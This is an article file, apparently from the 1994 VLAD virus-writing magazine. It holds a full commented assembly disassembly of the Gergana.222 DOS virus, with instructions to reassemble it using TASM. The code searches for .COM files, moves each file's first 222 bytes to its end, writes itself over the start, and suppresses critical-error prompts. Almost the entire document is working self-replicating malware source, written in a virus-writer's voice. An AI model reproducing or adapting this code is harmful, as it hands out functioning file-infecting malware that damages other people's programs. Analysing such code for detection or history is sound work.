home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#2.ZIP / ARTICLE.3_7 < prev    next >
Encoding:
Text File  |  1994-10-31  |  6.6 KB  |  151 lines
  1.  
  2. ; Gergana.222
  3. ; disassembly by Metabolis/VLAD
  4. ; with a small amount of help from Qark :)
  5.  
  6. ; I thought it would be interesting since it infects the start of
  7. ; files whereas most will append.
  8.  
  9. ; Of course the virus is from Bulgaria, but did you know Gergana
  10. ; is a female Bulgarian name? ;)
  11.  
  12. ; use TASM to re-assemble
  13.  
  14. int24s          equ     12h                     ; original int 24h
  15. int24o          equ     14h                     ; handler location
  16. dtapos          equ     80h                     ; DTA position in memory
  17. fbuffer         equ     0FA00h                  ; 222 byte buffer
  18. inf_flag        equ     0FA46h                  ; infection flag
  19. tempdta         equ     0FF80h                  ; Where to store temp DTA
  20. filename        equ     0FF9Eh                  ; Where the filename is :)
  21.  
  22. seg_a           segment byte public
  23.                 assume  cs:seg_a, ds:seg_a
  24.  
  25.         org    100h
  26.  
  27. gerg_222        proc    far
  28.  
  29. start:
  30.                 mov     ax,flength
  31.         push    ax
  32.                 mov     dx,tempdta              ; Temporarily store
  33.                 mov     ah,1Ah                  ; DTA at address tempdta
  34.                 int     21h                     ; Set DTA to buffer
  35.                 mov     cx,20h                  ; attributes to search for
  36.                 mov     dx,offset filemask      ; '*.COM'
  37.                 mov     ah,4Eh                  ; Find 1st file matching the
  38.                 int     21h                     ; above string..
  39.                 jc      finish_up               ; uh oh.. no files!
  40.                 mov     dx,offset int_24h_entry ; Attach the new error
  41.                 mov     ax,2524h                ; handling procedure to
  42.                 int     21h                     ; int 24h :)
  43.  
  44. read_virus:
  45.                 mov     dx,filename             ; open file with filename
  46.                 mov     ax,3D02h                ; to read
  47.                 int     21h
  48.                 jc      find_next               ; can't open! goto find_next
  49.                 xchg    bx,ax                   ; put file handle into BX
  50.                 mov     cx,0DEh                 ; read 222 bytes
  51.                 mov     dx,fbuffer              ; into fbuffer
  52.         mov    ah,3Fh
  53.                 int     21h
  54.                 jnc     infect                  ; no error goto infect
  55. find_next:
  56.                 call    close_file
  57.         mov    ah,4Fh
  58.                 int     21h                     ; find next file!
  59.                 jc      finish_up               ; no files, goto finish_up
  60.                 jnc     read_virus              ; open and read the virus!
  61.  
  62. gerg_222    endp
  63.  
  64. close_file      proc    near
  65.                 mov     ah,3Eh
  66.                 int     21h                     ; close file with handle
  67.                                                 ; in BX
  68.         retn
  69. close_file      endp
  70.  
  71. filemask        db      '*.COM', 00h            ; file mask for search
  72. flength         dw      0DEh                    ; file length
  73.  
  74. write_virus     proc    near
  75.                 mov     ah,40h                  ; write the virus (222 bytes)
  76.         mov    cx,0DEh
  77.                 int     21h
  78.         retn
  79. write_virus     endp
  80.  
  81. infect:
  82.                 mov     cx,cs:inf_flag
  83.         cmp    cx,2E2Ah
  84.                 je      find_next               ; if file infected, find next
  85.         mov    ax,4202h
  86.                 xor     cx,cx                   ; lseek to the end of the
  87.                 xor     dx,dx                   ; file
  88.                 int     21h
  89.                 cmp     ax,0C350h               ; if file is bigger than
  90.                 ja      find_next               ; 50000 don't infect
  91.                 cmp     ax,100h                 ; if file is smaller than
  92.                 jb      find_next               ; 256 don't infect
  93.                 mov     flength,ax              ; put file length in flength
  94.                 mov     dx,fbuffer              ; point to the file buffer
  95.                 call    write_virus             ; write the 222 bytes which
  96.                                                 ; were originally at the
  97.                                                 ; start of the infected
  98.                                                 ; program
  99.                 jc      find_next               ; no can do, find next!
  100.         mov    ax,4200h
  101.                 xor     cx,cx                   ; seek to the beginning
  102.                 xor     dx,dx                   ; of the file using
  103.                 int     21h                     ; the file handle BX
  104.                 mov     dx,100h                 ; from 100h (which is where
  105.                 call    write_virus             ; the virus is)
  106.                 jc      find_next               ; nope, find another file!
  107.                 call    close_file              ; infected! close the file
  108. finish_up:
  109.                 mov     dx,cs:int24s            ; return the error handling
  110.                 mov     ax,cs:int24o            ; interrupt 24h to its
  111.                 mov     ds,ax                   ; previous state
  112.         mov    ax,2524h
  113.                 int     21h
  114.         push    cs
  115.         pop    ds
  116.         mov    ah,1Ah
  117.                 mov     dx,dtapos               ; set DTA back to original
  118.                 int     21h                     ; position 80h
  119.                 mov     si,offset execute_original
  120.                 mov     di,tempdta
  121.         mov    cx,30h
  122.                 rep     movsb                   ; move 30 bytes from the
  123.                                                 ; execute original code
  124.                                                 ; to the tempdta storage
  125.                 jmp     $-237h                  ; jump back 567 bytes to
  126.                                                 ; execute the next part
  127.                                                 ; of the program
  128.  
  129. execute_original:
  130.  
  131.                 pop     si                      ; prolly points to here
  132.                 add     si,100h                 ; add start of com address
  133.                 mov     di,100h                 ; set destination as 100h.
  134.                 mov     cx,0deh                 ; virus length.
  135.                 repz    movsb                   ; move original code back.
  136.                 mov     ax,100h
  137.                 jmp     ax                      ; return to original code.
  138.  
  139. copyright       db      'Gergana II -BUL'       ; authors signature
  140.  
  141. int_24h_entry   proc    far
  142.                 xor     ax,ax                   ; Zero register
  143.                 iret                            ; Interrupt return
  144. int_24h_entry   endp
  145.  
  146.                 db       90h, 90h,0CDh, 20h     ; First 4 bytes of infectee
  147.  
  148. seg_a           ends
  149.  
  150.                 end     start
  151.